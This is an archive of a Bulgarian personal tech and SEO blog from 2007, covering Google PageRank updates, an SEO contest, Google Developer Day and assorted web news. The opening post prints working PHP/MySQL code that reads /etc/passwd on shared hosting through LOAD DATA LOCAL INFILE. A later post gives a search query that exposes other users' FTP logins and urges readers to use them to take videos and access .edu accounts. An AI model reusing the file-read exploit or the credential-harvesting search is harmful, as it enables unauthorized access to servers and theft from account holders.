Tuesday, October 30, 2007

Най-тъпият PHP exploit в света!

През изминалият месец излязоха куп бъгове и дупки в сигурността на PHP. Куп бъгави функции, куп injection-и, но този беше най-фрапантният:

MySQL:

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);



MySQLi:

function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();


Не е ли тъп само? Vulnerable са всички версии под 5.2.4, така че съветвам всички да ъпдейтват.
Естествено, при правилни permissions едва ли ще се стигне до успех, но ми е интересно на колко shared hosting компании админите не са мързеливи.

Google PR Update - размишления и изводи

Най-накрая дочакахме и PR Update-а от Google, или по-скоро експорта му до Google Toolbar. Както знаете, Google Page Rank е величината, която характеризира важността на дадена страница (а не уебсайт) в Интернет. Измислена от Гугълците още в университета, тя все още фигурира в почти всеки алгоритъм за отсяване на уебстраници, без значение от конкретната задача :) Колко тъпо звучи само!
Тъпото обаче е съвсем другаде. Този експорт беше най-дългоочакваният в историята на Интернет, както и на Негово Величество - Пазарът на домейни! Не само че Гугъл се закъсняха с експорта почти двойно, ами и очевидно имаше големи изменения на алгоритмите за класиране и изчисляване на PR.
Предният update беше през Април и закъсня само месец. Обикновено на Google им отнема около 3 месеца, за да преровят всичките си сървъри, да ги синхронизират напълно, да преизчислят целият PR на всички страници и да го закарат до (най-големият снифер в света) Google Toolbar (за който ние всички се представяме, за да си проверим PR). От април обаче минаха около 6 месеца. През това време се случи много - Google се обяви против купуването на линкове с цел манипулация на PR. След това забрани всички останали мотиви и наложи на уебмастърите да слагат nofollow на линковете, които продават, за да знае Бото.
След това заваляха дебати, анекдоти и бирени полемики из целия свят. Цял един бизнес модел беше пред разруха и всички пряко и косвено замесени впрегнаха всички сили, за да се противопоставят на най-мощната компания в света. Похвално, но безуспешно.
Още по време на дежурният преди TBPR export "танц" на SERPs се забеляза, че търговията на линкове ще бъде наказвана жестоко. Забеляза се и друго - алгоритъмът е прекалено строг на моменти. За по ден-два от SERPs изчезнаха сайтове със съмнителен произход на линкове като DMOZ и Wikipedia. След експортът пък SearchEngineWatch и още куп подобни (огромни, но очевидни купувачи на линкове) сайтове загубиха по 3 пункта от своят PR. Противно всякаква логика пък, моят блог получи 4, при положение, че не съм поствал кой знае колко (следователно -> по-малко линкбейт, по-малко линкове от скрейпъри и следпостингов спам). Поразгледах и още такива сайтове и закономерността, която виждам е следната:
  • Google намрази директориите още повече. Линковете от повечето директории все още имат тежест, но голяма част ги изгубиха. Тенденцията е към намаляване на тежестта от линковете, идващи от нерелевантни източници.
  • Вътрешната структура на сайта има още по-голяма тежест.
  • Еднопосочните линкове са по-силни отвсякога. Тествах го с няколко странички. Еднопосочен линк от PR0 страница се оказа с по-голяма тежест от двупосочен с PR4. (т'ва в резултатите де, едва ли важи за PageRank)
  • Имаме повече бюджет за Bacardi, след като купуването на линкове е забранено и наказуемо от търсачките.
Равносметката при мен е следната: трябва да седна и да помисля някоя по-хитра линк билдинг стратегия. Очаквам цената на еднопосочните линкове да скочи скоро, както и на пазара да се включат все повече креативни играчи със стаблиен гръб, за сметката на дебелоглавите читанки. Очаквам също така да се търсят все повече програмисти и да се разшири пазарът на custom сайтове, защото безплатните решения орязват индивдуалността и уникалността, а това ще бъде все по-важно.
В крайна сметка - Long Live the King, and the King is Content! Клишето е по-вярно отвсякога. Докато Google е твърде зает да купува дъщерни фирми, вместо да чисти бъговете си и да си доразвие алгоритъма, линковете ще придобиват все по-малко тежест, защото са твърде лесни за манипулация. Сега е време за анализ на фактите и да се определи къде е границата на наказуемите линкове, както и къде е тънката нишка, която не се е скъсала още. Ще помоля по-наблюдателните да споделят опит под формата на коментари или блог постове.
До тук с фрийстайла.

Топ 100 на българските блогове

Класацийка, рий'ши. Няма състезания в Гугъл, няма спам из темите, няма нищо. Само един човечец, който очевидно е достатъчно компетентен, си прави класацийка и си я публикува. Доколкото разбрах, не се и подава на евтини провокации, така че няма смисъл да му тровите блога.
Класацията се намира на адрес: http://www.alabala.org/251.html. Класирането става на базата на 4 параметъра - Google Page Rank, Alexa Rank, Technorati Rank и Тодор Христов Rank - преценката на автора. Абе каквото и да напиша, ще е тъпо - отидете и вижте 100-те най-яки блога в България :)

Friday, September 28, 2007

За един Ганьовец

Този пост е продиктуван от простотията на един човек, изказал се тук:
http://www.blogger.com/comment.g?blogID=656214047729090560&postID=3430655042074094428

Драги ми Смехурко,
За пръв път си позволявам да изляза извън професионалния тон и го правя само за да предотвратя подобни коментари в иначе чистичкия ми блог.

Ти си прост човек. И за да не изглежда моето мнение като твоето, ще представя своите доказателства:
  • Коментираш хора, които не познаваш, и се изказваш неподготвен. Из целият ми блог пише, че живея в Германия, а ти се изреза като магаре в канадски кър. Но все пак ми е интересно ти какъв си и къде живееш, че си позволяваш да поставяш под общ знаметал всичките ми сънародници и да ги обиждаш. Не ти прави чест. Но каква чест? Ти само си чувал за нея по филмите. Тук дори те е срам да кажеш кой си. Да де, аз си знам, ти си НИКОЙ. Поредният анонимен флеймър с претенции на база колко силно пръцкат.
  • Коментираш ниша от която си нямаш хал хабер. Това SEO състезание се организира от познати мен хора. Познавам задочно също така и по-голямата част от участниците. Ние сме едно малко, но сплотено общество от креативни хора, които обменят опит и идеи. Във всеки такъв форум цари добрият дух и добрите отношения, а ти .. някакъв си емигрант там анонимен се опитваш да внесеш интрига. Гледай си работата. Ако си нямаш - намери си.
  • Твърдиш, че ми е платено за този постинг. Твърдиш, че съм готов за някакво си евро да пренебрегна християнските ти ценности. Интересно ми е как го реши това? Ако исках да вадя пари с този блог, щях да продам линк на Fcolor, щях поне AdSense да си сложа. Идеята на този блог е да представи възможностите и качествата ми на доблестен професионалист, които ти оспорваш, без да си се запознал изобщо с това какъв човек съм и с какво се занимавам.
  • Да погледнем нещата от друга страна? Да кажем, че peter ми е платил за тази публикация. Добре тогава, къде е sitewide линкът? Защо не съм рекламирал този пост никъде, а съм го оставил само тук да си лежи? Мислиш, че останалите състезатели не влизат в блога ми ли? Влизат.. даже са редовни. Никой от тях не се оплака. Ти къде си тръгнал да ми ревеш?
  • И ако peter все пак ми е платил, колко да ми е платил? При награда от 1000 лева и при тарифата ми за платени услуги, то за него няма да остане. Пък ако ги исках тия 1000 лева, щях да се запиша в състезанието. Тия неща едва ли си ги помислил, ама то ти е простено.
Та по подобен начин стоят нещата. Ти вероятно дори не участваш в това състезание, защото ако участваше, щеше да знаеш някои неща. Например, че всеки си купува линкове. Щеше да знаеш кой съм аз и че отказвам линк размяна дори, защото съм принципен в етичното SEO. Щеше да знаеш, че другите участници спамят навсякъде, където намерят, докато peter - не. Щеше да знаеш, че Бого обяви публично, че ще дари наградата за благотворителност, като по този начин събра много линкове, но всички - нерелевантни. Затова е втори, а peter е първи. Щеше да знаеш, също така, че още преди да постна тази публикация peter беше първи въпреки 4-те хиляди линкове към сайта на Бого. Защо? Защото е професионалист и е най-добрият от участниците. Защото повечето пишат странни статийки на странна тематика, докато той си направи цял сайт за тази тема и говори само онтопик. И то със съвсем непкрит сарказъм спрямо голяма част от конкурентите. Това ме спечели. Ти ако водиш убедително в някакво състезание, ще си платиш ли, за да увеличиш разликата? Май не... Затова ти казвам, че си прост човек. Защото нещата са прости и елементарни, а ти въпреки така се обърка тъй смешно и се изказа тъй просташки.

А ако си имаше хал хабер от тази ниша и професия, щеше да знаеш, че 1000 лева са нищо работа за един професионалист. Вадят се за по-малко от една седмица. Тя самата награда е символична, хората го правят за его, а ти си мислиш, че даже делят парче от пая. Как ме е яд, че ти отделих това време изобщо. Изчезни като муха от блога ми. От тук нататък си игнориран, пиши си, каквото искаш. Аз казах, каквото имам.

Thursday, September 27, 2007

Social Bookmarking сайт за социален маркетинг на Social Bookmarketing сайтове :)

Стартира най-новият, най-уникалният и наистина единствен по рода си Social Bookmarking сайт за социален маркетинг на Social Bookmarketing сайтове. Digove.info е създаден с единствената цел собствениците на социалните сайтове да имат един такъв сайт за тях самите, за да могат да рекламират отрочетата си. Няма съмнение, че сайтът е потръгнал добре, още 12 часа след пускането има над 60 дига, вдига, пинга или както там му казват.

Идеята, разбира се, е породена от Негово величество - Пазарът. Огромната конкуренция на сайтове от такъв тип предразполага маркетингов пазар за съответната услуга. Тъй като на нас, социумът на интернет спамерите, ни е много трудно да си изберем в кой сайт да пуснем линка към новата ни статия, на помощ се притича Digove.info. Неговата идея е да определи кой от всичките еднакви сайтове е най-добрият и да се съберем дружно там да спамим. Дайте своят глас, за да направите нашия избор една идея по-лек.

Номинираните до момента са:
  • www.pipe.bg (pligg default template, меню на български);
  • www.ping.bg (custom платформа, бяло, оранжево, сиво, синьо);
  • www.dao.bg (pligg, бяло, зелено, синьо. Тясно ориентиран в информационните технологии. Организира SEO състезание);
  • www.svejo.net (оранжево, AdSense revenue sharing);
  • www.novinitednes.com (pligg, бяло, синьо и зелено).
Моите гласове отидоха при Dao.bg и Svejo.net, заради рекламните им кампании. До момента води Ping.bg, може би заради custom системата, която със сигурност ще им даде преднина в дългосрочен план.

Както сами разбирате, изборът е много труден. Моля, помогнете!

Monday, September 24, 2007

Google pwn3d like a bitch!!! 3 дупки в сигурността!

Зловеща седмица за Google (които, както разбирате, започвам да мразя все повече и повече). След като самият аз открих 2 bug-а при тях, които хич не са от безобидните, днес прочетох как да ви чета мейлите, да ви взема снимките от компютъра и да наспамя вас и всичките ви познати :) Звучи гадно, нали? И най-гадното е, че вие няма какво друго да правите, освен да чакате Google да си оправят грешките.

Добре де, не само. За да не хакнат вашият Gmail, Picasa или Blogger, трябва да не кликате на нито един линк в Мрежата, докато сте логнат с вашият Google акаунт. Звучи зловещо, но това е единственото сигурно решение на проблема.

Подобно на случая с ArenaBG, който кликне на грешен линк - изгаря. Ако кликне някой админ - перфектно :) Със самото кликане хакерът ще вземе вашите данни и автоматично ще източи всичката информация, до която се докопа, а после ще прави каквото намери за добре с нея.
Ако искате да прочетете по-подробно за самите бъгове кликнете тук (страх ви е, нали :П)
По-конкретно за дупката в Picasa - тук (хайде де :)
Как да източим Gmail - тук (логни се първо).
Как да пробием през Google Search Appliance - ето тук (благодаря :)

Очевидно, дупка в сигурността в система от такъв мащаб има силно социално явление. Около 200 000 уебсайта са застрашени заедно с данните на всичките им потребители, както и огромните системи като Gmail и Blogger (Blogspot), където се намира и моят блог в момента. Най-лошото е, че тези експлойти са вече публични и сега се очаква вълна от 15-годишни хлапета да копират кода и да хакнат колкото се може повече потребители, тъй както батко хакер им е показал. Да му мислят тия, дето са нагоре в търсачките, в това число и аз :)

Sunday, September 23, 2007

Моят "яицазимитпо лъгуг" фаворит

яицазимитпо лъгуг. Гледах, правих, струвах, чудех се кого да подкрепя с едно беклинкче и най-накрая си избрах. Много ме изкефиха историийките и разказчетата на някои от кандидатите, но са класи под този претендент: яицазимитпо лъгуг. Без капка благотворителност и лирически отклонения, peter демонстрира единствено класа, професионализъм, яицазимитпо лъгуг, дух на победител и изобщо всичко, от което "шампионът" има нужда. Едиснтвеният участник, по чийто САЙТ се разбира, че схваща смисълът на SEO. 100%-ов професионалист, личи си, че го прави само от професионализъм. Признавам си, ако аз бях участвал в това състезание, със сигурност нямаше да вложа нужните усилия, за да направя нещо, което да се доближи до това.
Няма да коментирам тактиките му, защото те са перфектни и очевадни. Просто ви изнесоха едно показно. Моите поздравления за добрата работа, дано спечелиш.
яицазимитпо лъгуг

Sunday, September 9, 2007

Искате ли да си поговорим?

Откакто VoIP технологията навлезе в уеб, обратната връзка никога не е била толкова лесна. Ако някой от вас има желанието да си поговорим или да ме напсува ми остави гласово съобщение, може просто да кликне вдясно (под архива) :) Ако имате уебкамера, може и да се гледаме. Хайде, дами, не се срамувайте :П Най-якото е, че все още не знам как да си проверявам съобщенията, но ще се науча скоро, със сигурност. Надявам се да ви харесва.

Saturday, September 8, 2007

Axeny - Google Page Rank индикатор от България

Axeny е новият Tool за индикация на Google PR. Разликата между него и останалите е, че той е български :) Дело е на Cloxy и за разлика от много предишни опити - работи и показва вярно. Авторът се е постарал и да ни грабне с едно много сладко зелено същество, което е самият Axeny - нашият помощник при проучването на конкуренцията. Изберете българското и му хвърлете едно око. А пък ако имате някакви въпроси и желания, можете да се свържете с неговият разработчик в темата, отделена на новият инструмент в WebmasterBG. Enjoy :-)

Wednesday, September 5, 2007

Намерих bug и в Tyxo :)

Като си гледах посещенията днес, намерих бъгче и в Tyxo:
Интересно как може да имам 40 уникални, пък само 39 посещения. Според мен едната сесия е останала от снощи, а пък уникалните се броят като уникално IP на импресиите. Ако някой от developerите на Tyxo чете този блог, нека се разрови и да го оправи, ако обича.

Намерих bug в Google AdSense при логина

Най-накрая ги хванах натясно :) От много време не се кефя на хендлинга на сесии от Google. Всеки с повече от един Google Account го е имал този проблем - логваш се с един юзър в Gmail, с друг в Blogger, с трети в AdWords и т.н. Винаги съм се чудел къде ще изгърми тая работа и най-накрая се случи:

Както си се бях логнал с акаунта ми за блогър исках да си регистрирам едно ново потребителче за AdSense. Минах първата страничка от формуляра гладко и стана време да си избирам Google Account. Казах му, че нямам и не искам да имам Google Mail и той ми изкара формулярче да си дам външен имейл адрес. Оказа се, че какъвто и E-mail адрес да въведеш в това поленце, той винаги ще взима този от сесията (и в моят случай - да пищи, че вече има регистриран AdSense Account с този адрес). ХВАНАХ ЛИ ВИ КОПЕЛЕНЦАААА?!!!

Но това не е първият път, когато хващам бъгав код от Google. В новата версия на APIlity (OpenSource библиотека ПИСАНА ОТ ГУГЪЛ за управление на AdWords кампании) са объркали имената на няколко полета в KeywordCriterion обектите и всяка една заявка към сървъра дава грешка. Вместо "negative" и "paused" са написали "isNegative" и "isPaused". Нях нях нях! 2:0 слабаци!!!!

До всички, които scrape-ват моя блог

Забелязах, че получавам тук-таме по някое посещение от разни сайтове, които са ми парсирали RSS-а. На всички вас: Изрично е забранено цитирането на съдържание от този блог, без да се опоменава източника и без линк към съответната страница! Nofollow в линковете също се забранява! Всяко действие в разрез с тези две мои изисквания е неморално и незаконно, съобразно Закона за защита на интелектуалната собственост на Република България.

За тези, които не разбират какво пиша - да разясня. Scraping е похват за генериране на съдържание в сайтовете, при който чрез автоматизирани скриптове се изчита съдържанието на чужди сайтове и се записва на скрейпъра. Най-лесният начин за осъществяването му е, чрез парсиране на RSS, тъй като RSS е стандартен формат и с един скрипт могат да се изчитат хиляди сайтове. Етичното в случая е поне да се постави линк към авторската страница. Но някои сайтове се изтарикатяват и слагат nofollow на тези линкове, което води до неиндексирането им от търсачките и по този начин нерядко скрейпърът се появява в търсачките над авторския сайт за съдържанието, което е било "откраднато".

Призовавам всеки блогър или собственик на сайт да обяви изрично несъгласието си спрямо подобни действия и при нарушение на обявените от него правила да сезира съотвените органи на реда.

Един вид, от моите лайна лютеница не обичам да си правят...

Web 2.0 BarCamp в София на 15.09


На 15.09 ще се проведе Web 2.0 BarCamp в София. Целта на събитието е да се съберат всички хора, които по някакъв начин се интересуват от Web 2.0. На срещата ще присъстват както програмисти, разработчици и дизайнери, така и предприемачи и потребители на новите Web 2.0 услуги. Повече информация за събитието може да прочетете в spisanie.com.

Monday, September 3, 2007

яицазимитпо лъгуг :) СЪСТЕЗАНИЕТО ЗАПОЧНА

Започна ново SEO състезание, спонсорирано от http://dao.bg/. Регламентът и коментарите можете да видите тук - http://webmasterbg.org/index.php?topic=604.0, докато временното класиране се намира на тук. Както може би сте разбрали, фразата, за която се състезават участниците, е яицазимитпо лъгуг, което е гугъл оптимизация наобратно. Победителят ще бъде обявен на 1-ви декември 2007г. и ще спечели 1000 лв. Успех на всички колеги и нека победи най-упоритият!

Thursday, August 30, 2007

Google си подобриха рекорда за най-бавен PR Update

Дългоочакваният ъпдейт на Google Page Rank се забави толкова много, че вече счупи предишният рекорд. Към днешна дата, данните не са били експортвани от 123 дни, което е точно 4 месеца. Предишният рекорд датира от 18-ти февруари 2006, когато резултатите не са били опреснявани 122 дни. (19-ти Октомври 2005 до 18-ти февруари 2006). Това забавяне рефлектира много върху бизнеса с продаване на линкове и домейни, защото всеки се надява, че на следващия ъпдейт ще има по-висок ранк, а от там ще му се вдигне и цената.

П.П. Данните са взети от http://www.seocompany.ca/pagerank/page-rank-update-list.html

П.П.П. Ако се чудите колко ще ви бъде новият PR може да се възползвате от услугата за предсказване на PageRank - IWebTools PageRank Predictor :)

Съвременни методи за визуализация на данни



Ето тук можете да намерите най-красивите, интуитивни, интерактивни, креативни, иновативни и какви ли още не интерфейси за показване и боравене с данни. Разглеждайки се из самия сайт, намерих и още по-полезни ресурси като:


Изобщо пичовете си заслужават беклинка. Ако бях дизайнер, нямаше да спя, докато не го изчета целия.

Нова измама със SMS-и

От скоро се забелязва ново явление на мошеническия гений с SMS услуги. Новата хватка, накратко казано, подлъгва хората да зареждат чуждите сметки с пари. Трикът е следният:
"Жертвата" получава SMS от номер 1616 с текст:
Vie pechelite bonus 15 lv. kym vashata smetka. Za da go zaredite, molia otgovorete na tozi sms(ili izpratete sms na 1616) s text 088xxxxxxxx,15

В случай, че вие изпратите този SMS, 15 лева от вашата сметка ще се прехвърлят в чуждата. Надявам се да съм бил полезен на някого и органите на реда да окафезят злосторника, който така безцеремонно мами хората със собствения си телефонен номер.

За да не се случват подобни манипулации, най-добре прочетете още веднъж официалното ръководство за разплащане с SMS от M-Tel.


П.С. Благодаря на Ему за предоставената информация.

Wednesday, August 29, 2007

Хакнаха ArenaBG

Преди броени секунди беше хакнат най-големият торент сайт в България - ArenaBG.com. Резултатът е следният:

Хакерът твърди, че за втори път удря огромният торент сайт и този път атаката му е отнела 15 минути, 3 пъти повече от предният път, когато се е справил само за 5. Очаквайте подробности, след като случаят утихне :П

Wednesday, August 22, 2007

Как да свалям от data.bg от чужбина?

Най-болната тема за всеки емигрант, както и клиент на ISP-та, които не са вързани към BG Peer-а. Стигне ли се до този проблем, всеки се оправя кой както си може - било то с прокси от български компютър, SSH shell или други подобни методи. Въпросът е дали има генерален метод, с който може всеки непривилегирован потребител да го прави. Да, има :) Това, което ни трябва, е публично web PHP proxy. Такъв сайт е http://open-url.com/. Много е лесен за употреба, просто трябва да напишете адреса на файла, който искате да отворите през това българско php proxy. Сега остава само да въведете data.bg в полето и да търсите каквото ви трябва. Аз обаче ще ви препоръчам друг вариянт: отворете нов таб в браузъра си и влезте http://fs-bg.com/. Това е отворена търсачка за файлове, която рови в data.bg, comnet.bg, evro.net и т.н. free сървъри. Потърсете каквото ви трябва там, копирайте адреса и го пейстнете в open-url.
На всичкото отгоре скоростта на сваляне е страхотна. Последния път свалях с 500K/sec от Германия, което е чудовищно, имайки предвид, че в нормални условия до тези сайтове няма никакъв достъп.
Приятно сваляне :P

За съжаление http://fs-bg.com не се отаваря напоследък (няколко дни след като блогнах, дано не съм прецакал хавата без да искам), така че направо през http://open-url.com/ трябва да се отваря датата.

Friday, July 27, 2007

Честит SysAdminDay!

Честит празник на всички колеги! Днес е осмият пореден празник на системния администратор, който по традиция се чества в последния петък на месец юли. Освен системните администратори, днес празнуват и уебмастъри, мрежови специалисти и изобщо всеки, който се грижи за качеството на Интернет услугата. Ако сте съпричастен към своя системен администратор, е добре да знаете, че днес се подарява само техника. Ето малко повече информация и идеи за подарък.

Wednesday, June 27, 2007

YouTube Hacking за MetaCafe

Дълго време се чудех как човек може да тараши филмчета от YouTube, за да ги ползва за MetaCafe и други афилиейти. Мислех си, че би било страхотно... дори и да е само за офлайн копие на филмчетата. В крайна сметка се намери решение - http://www.google.com/search?hl=en&q=+site%3Ayoutube.com++%22clicks+from+ftp+%40%22&btnG=Search
Просто отворете този линк, вижте ftp данните на някой потребител и му вземете филмчетата в чист формат :) Освен това изпадат и някои приятни .edu FTP акаунти, които също могат да се използват по предназначение. Приятно h4x0r-ване ;)

ПС. Тази статия е с изрична учебна цел и авторът не носи отговорност за евентуални унищожени материали.

Wednesday, June 13, 2007

Google предлага статистика за позициите на AdWords кампаниите (Placement Reports)

Вчера Google обявиха откриването на Placement Reports, инструмент за статистика на позициите на AdWords рекламите по различните сайтове. Рекламодателите ще могат да видят на кои сайтове се показва рекламата заедно със следната статистика:
  • домейн;
  • URL;
  • импресии;
  • кликове;
  • конверсии;
  • разходи;
  • статистика за трафика от AdSense.
По този начин може да се направи анализ на контекстуалните реклами за тяхната таргетираност, ROI и посещенията като цяло. При наличието на тази информация може много лесно да се види кои са най-добрите партньори за реклама, както и къде не си струва да се рекламира с тези ключови думи. Най-вероятно след време този инструмент ще бъде интегриран в Google Analytics и нищо чудно съвсем скоро да можем да следим какво е правил всеки един посетител на нашата страница от момента на пристигането на сайта ни до момента на излизане.
Всичко това дава един огромен тласък в PPC кампаниите и въвежда нови измерения на прозрачността между рекламодателите и рекламиращите сайтове. Само да припомня, на Google Developer Day разработчиците на лидерът в онлайн маркетинга и търсенето (и намирането респективно :П) разкриха своите амбиции да разширят възможностите си в local search технологиите. Целта на всичко това е рекламните кампании през Google да бъдат възможно най-ефективни и таргетирани. За сега се справят отлично.

Забележка: За сега Placement Reports работят само за клиенти от САЩ, но в следващите седмици ще тръгне и глобално.

Tuesday, June 12, 2007

Пълна излагация с BETA-та на Safari за Windows


Не мога да спра смеха и сълзите си, откакто сложих "World's best Browser" под Windows... Не съм вярвал, че Apple могат да се изложат толкова много и да качат нещо, което реално не работи. Новата версия можете да изтеглите за XP и Vista от тук, но не очаквайте много. Първо, няма да видите никакъв текст по страниците, който е в bold. И не само, че няма да се покажат, но те няма и да заемат предвиденото за тях място, което ще размести целия ви лейаут. Абе какво да ви обяснявам - вижте как изглежда Yahoo! през Safari :)
Надявам се, че ще го фикснат, но все още не мога да разбера защо изобщо са качили тази версия. Това е все едно да започнеш да рекламираш сайт, преди да си го донаписал. Все пак има и добри новини - JavaScript поддръжката е отлична, а и има много приятни вградени ефекти. Дано финалната версия работи!

Thursday, June 7, 2007

Google Mapplets: Част 1 - Интро

За Mapplets се отдели най-много време на Google Developer Day, затова мисля и аз да отделя на тях най-много внимание и да ги разгледам малко по-подробно. И така какво са Mapplets? Mapplet е Google Gadget, който представлява комбинация от Google Maps + още нещо :) Най-общо казано, Mapplets са всички приложения, базирани на Google Maps API. Те имат възможността да поставят каквато и да е допълнителна информация директно върху картата от Google. Пример за това е WhoIsSick, където човек може да следи за епидемии и заразни болести в своя район. Общото между всички Mapplets е, че те са изключително полезни и най-често идеята за тях идва, когато ти потрябват. WhoIsSick, например, е измислен, докато шефчето е прекарало цяла нощ в болницата да чака да приемат жена му, за да му кажат, че има епидемия на някакъв лек вирус и всичко щяло да премине на следващия ден. И той си казал 'ех, ако го знаех по-рано...' и решил да поправи тази грешка в устройството на света :)
Може би всички вече имате идея как да направите Real Estate сайт, където да покажете различните имоти директно на картата? Точно така се е родил първият Mapplet, във времето, когато не е имало официално позволение за това. Просто е било платено на един програмист да хакне (reverse engineer) Google Maps, така че да се добави съответната функционалност. От много време насам тази идея се имплементира и хиляди сайтове я ползват, дори и BulgarianProperties.
До тук всичко звучи страхотно, но има и още. В Mapplets може да се интегрират и другите API's на Google. Например - Google Base. Казвате какъв продукт търсите, взимате му координатите и ги вадите на картата. Ако разгледате подробно references за Base и Mapplets ще разберете, че цялата работа се прави с 20 реда JavaScript, а документацията е повече от изчерпателна.
От техническа гледна точка, картите представляват едно множество от HTML елементи (iframe, img, JS), които са структурирани в един валиден формат. За да не се допуска "man in the middle", картата се зарежда от сайта на Google (както знаем, езикът JavaScript не разрешава манипулирането на елементи от чужд домейн), вашите данни се управляват от скрипт, който е на вашия домейн, а един трети 'невидим' iframe предава данните от единия на другия посдреством един криптиран GET параметър в URL-а (с който се инициализира самата карта). Просто гениално, нали? :)
Съветвам заинтересованите да прочетат диагонално документацията за Mapplets, докато подготвя следващите постове за Mapplets, където ще се засегнат следните теми:
  • GeoXML, GeoRSS, KML (формати за описване на геоданни)
  • MyMaps
  • Ново около Maps - GTrafficOverlay, GDirections, GAdsManager (AdSense за картите)
  • StreetView (разходка из града с Google Maps)
  • Mapplets & Online Marketing (как да докараме трафик към картите, как да докараме трафик от картите)
Ще ги подкарам най-вероятно в този ред, започвайки от тази вечер, а за да не скучаете, докато ме чакате, вижте сесията от Hamburg за Maps API:


Google подкрепя бизнеса с OpenSource решения

"Това, което е добре за бизнеса, е добре и за нас"

С тази фраза започна сесията за OpenSource на Google Developer Day 2007. Не можах да схвана особено идеята зад тази сесия и кому беше нужна тази реклама на отвореният код и на споделянето на идеи и опит, но във всеки случай направи силно впечатление. Google призова всички нас да отваряме кода си, за да може да се улесни процеса на реализирането на нови и креативни идеи. Разработчиците на най-успешният продукт през 2006-та година се похвалиха, че библиотеката от отворен код е нарастнала около 40 пъти през изминалата година и тендендията е броят на отворените продукти да расте по експонента.
По този начин екипът на търсачката се опитва да приобщи възможно най-голям брой програмисти от целия свят, които да използват и да доразвиват техните продукти. В замяна разработчиците ще могат да използват наготово сървърната мощ и огромната база данни, с която лидерите в онлайн бранша разполагат.
Всички от Google са се обединили около идеята, че трябва да се събере една огромна база данни с много информация и геокоординати, която да може да се използва по най-лесният начин от потребителите във всеки един момент и от всяка точка на света. Благодарение на своите отворени библиотеки, Google се похвали с Maps върху iPhone, Google Real Estate Search и много други наистина полезни продукти, които работят на базата на тези OpenSource API's.
Идеята е, че ако бъдеш полезен на хората, ти ще имаш голям трафик. Колкото повече безплатни полезни решения се създават, толкова повече хора ще ги ползват. От това ще спечелим всички ние, а Google най-вече. Гениално, нали? :) Ето го и видеото:


Какво представляваше Google Developer Day

Бях обещал да разкажа подробно за това, което се случи на Google Developer Day, и моментът настъпи. Извинявам се за забавянето, но ми трябваше време, докато осмисля всичката информация, която попих на този семинар.
Да си призная, аз самият не знаех какво ще представлява това събитие, преди да отида там. Знаех, че ще има някакви лекции, че ще се показва някакъв код, но защо, как и колко ... нямах никаква представа. Не спирах да си задавам тези въпроси, докато се бяхме събрали в една огромна конферетна зала да чакаме откриването...
И още на самото откриване стана ясно. Google си призна, че не знае всичко. Още повече, липсва му огромна и съществена част от информацията - "дългата опашка". Всички инженери, по времето на всички сесии говореха за т. нар. long tail и затова колко е важен той и как представлява над 80% от цялата информация. Освен това, пичовете от Google споделиха, че колкото и да е голяма базата им данни в момента, липсва една фундаментална част от нея - географското описание.
Според водещият от Англия, 80% от информацията има географско значение. Т.е. ако става дума за някакво събитие, ние трябва да знаем къде се е случило. Ако става дума за продукт - къде се продава. Ако Гугъл има тази информация в своята база данни, той ще може да показва по-релевантни резултати, защото ще може да изчисли разстоянието между търсещият и отделните резултати. Според философията на Гугъл, "от всички неща, които те интересуват, това, което е по-близо до теб, те интересува повече, от това, което е по-далеч." (И аз съм някак склонен да се съглася :П)
Та, как Google мисли да разреши този проблем? Съвсем просто - предоставяйки такива инструменти на разработчиците на уебсайтове, с които те да могат да се възползват от базата данни на Гугъл, но същевременно да я допълват. Дали това е експлоатация или симбиоза, е още твърде рано да се каже. Но като се замисля, Google наистина дава почти безвъзмездно своята база данни и на разположение, а чрез нея могат с лекота да се реализират решения, които бяха много трудоемки и скъпи преди година.
Да вземем за пример Google Maps, с които Google толкова много се гордее. Ако се върнем назад във времето, когато това API не беше на разположение, за да поставим карта на своя сайт, трябваше да се положи една снимка, върху която да изобразяваме динамично обекти, най-често с Flash или JavaScript. Освен това, наложително е да има и една огромна база данни с географските обекти. Цената на подобна база данни в световен мащаб варираше между $1000 и $10 000. Сега получаваме всичко това безплатно и нагово, плюс open source API от Google, с което да манипулираме картите и да изобразяваме върху тях каквото си пожелаем.
И не само това - Google ни предлага и няколко възможни изгледа - Карта, Сателит, Хибрид, и StreetView (ново), за което ще отделя отделен пост. Освен всичко това, вече можем сами да си добавяме сградите в Google Earth, посредством новият инструмент SketchUp, като просто изградим един триизмерен модел на сградата и изберем съответните текстури. Също така, можем да наблюдаваме и уличният трафик, както и да рекламираме сайта си на самата карта, тъй като AdSense вече ще се показва и на картите.
Но това е малката радост, по-голямата радост е, че всички APIs от Google са съвместими една с друга и е въпрос на креативност с какъв продукт можем да излезем на пазара. Ако пък продуктът ни се окаже много интересен и се похвали със стабилно количество трафик, Google ще показва нашите резултатите и в локалните търсачки с линк към нашия сайт, като по този начин ще се порадваме на огромни количества таргетиран трафик. Какво още можем да желаем?
Как какво.. Интернетът никога да не прекъсва. Затова се грижи новият инструмент - Google Gears, който ще синхронизира локална база данни с това, което е в интернет, така че да можем да си проверяваме пощата, дори когато сме офлайн.
Освен новите си продукти, инженерите от Google показаха и някои много интересни сегменти код, понаучиха ни на design patterns в JavaScript и ни подариха хеликоптерчета с дистанционно управление :) Така освен с опреснени познания, мога да се похваля и със своят първи частен хеликоптер, който ми е подарен от Google :)
Това беше в общи линии, от тук нататък следват поне 4-5 по-големи и по-подробни поста, относно новите течения в уеб програмирането, които Google се опитва да наложи. Очаквайте ги съвсем скоро. А това долу е откриването на Google Developer Day в Хамбург.

Thursday, May 24, 2007

На 24-ти май Google научи български

Четете: "Честит празник на всички българи и славяни! Днес научих български!"
